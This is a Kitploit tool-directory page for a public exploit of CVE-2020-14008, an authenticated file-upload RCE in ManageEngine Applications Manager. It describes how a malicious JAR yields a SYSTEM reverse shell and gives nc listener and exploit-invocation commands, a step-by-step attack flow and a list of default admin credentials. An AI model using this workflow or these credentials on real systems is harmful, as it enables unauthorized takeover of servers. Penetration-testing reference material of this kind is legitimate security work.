Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-14008 — CVE-2020-14008 - ManageEngine Applications Manager RCE | Kitploit
Tools/GitHubGitHub/0x0d3ad/cve-2020-14008
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHub0x0d3ad/cve-2020-14008

CVE-2020-14008

CVE-2020-14008 - ManageEngine Applications Manager RCE

View Repository
314 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-14008 - ManageEngine Applications Manager RCE

Authenticated Remote Code Execution via Arbitrary File Upload in Zoho ManageEngine Applications Manager (versions <= 14720).

Vulnerability Summary

Download Tool
DetailValue
CVECVE-2020-14008
CVSS7.2 (High)
TypeAuthenticated RCE / Arbitrary File Upload
ProductZoho ManageEngine Applications Manager
AffectedVersion 14720 and below
RequirementValid admin credentials
ResultSYSTEM-level reverse shell

The exploit abuses the Weblogic monitor credential test feature. An authenticated admin uploads a malicious weblogic.jar file to the expected Weblogic library path. When the credential test is triggered, ManageEngine loads weblogic.jndi.Environment from the uploaded JAR via JarLoader.loadClass() and newInstance(), executing arbitrary Java code.

Requirements

System

  • Python 3.x
  • Java JDK (javac and jar on PATH)
  • nc (netcat) for catch reverse shell

Python Dependencies

root@kitploit:~
pip3 install requests urllib3 lxml

Usage

1. Start Listener

root@kitploit:~
nc -lvnp 1337

2. Run Exploit

root@kitploit:~
python3 cve-2020-14008.py <URL> <USERNAME> <PASSWORD> <LHOST> <LPORT>

Examples

root@kitploit:~
# Basic
python3 cve-2020-14008.py https://192.168.100.2:8443 admin admin 192.168.100.3 1337

Exploit Flow

  1. Login - Authenticate with admin credentials, obtain session cookie
  2. Enumerate - Retrieve the ManageEngine base installation directory
  3. Build JAR - Compile a malicious Java class (weblogic.jndi.Environment) containing a reverse shell into weblogic.jar
  4. Upload - Upload the JAR to classes/weblogic/version8/ via directory traversal (fallback: create a scheduled task to move it)
  5. Trigger - Invoke the Weblogic credential test at /testCredential.do, which loads and instantiates the malicious class
  6. Shell - Reverse shell connects back to listener

Default Credentials

UsernamePassword
adminadmin
adminpassword
administratoradministrator
guestguest

Troubleshooting

ErrorFix
release version 7 not supportedJava 21+ dropped Java 7 target. Script uses --release 8
FileNotFoundError: weblogic.jarJAR compilation failed. Verify javac and jar are on PATH
No valid response from used sessionInvalid credentials
Actionname not foundTask creation failed, check admin permissions

References

  • NVD - CVE-2020-14008
  • Exploit-DB #48793
  • ManageEngine Advisory

Disclaimer

This tool is provided for authorized penetration testing and security research only. Unauthorized use against systems you do not own or have permission to test is illegal.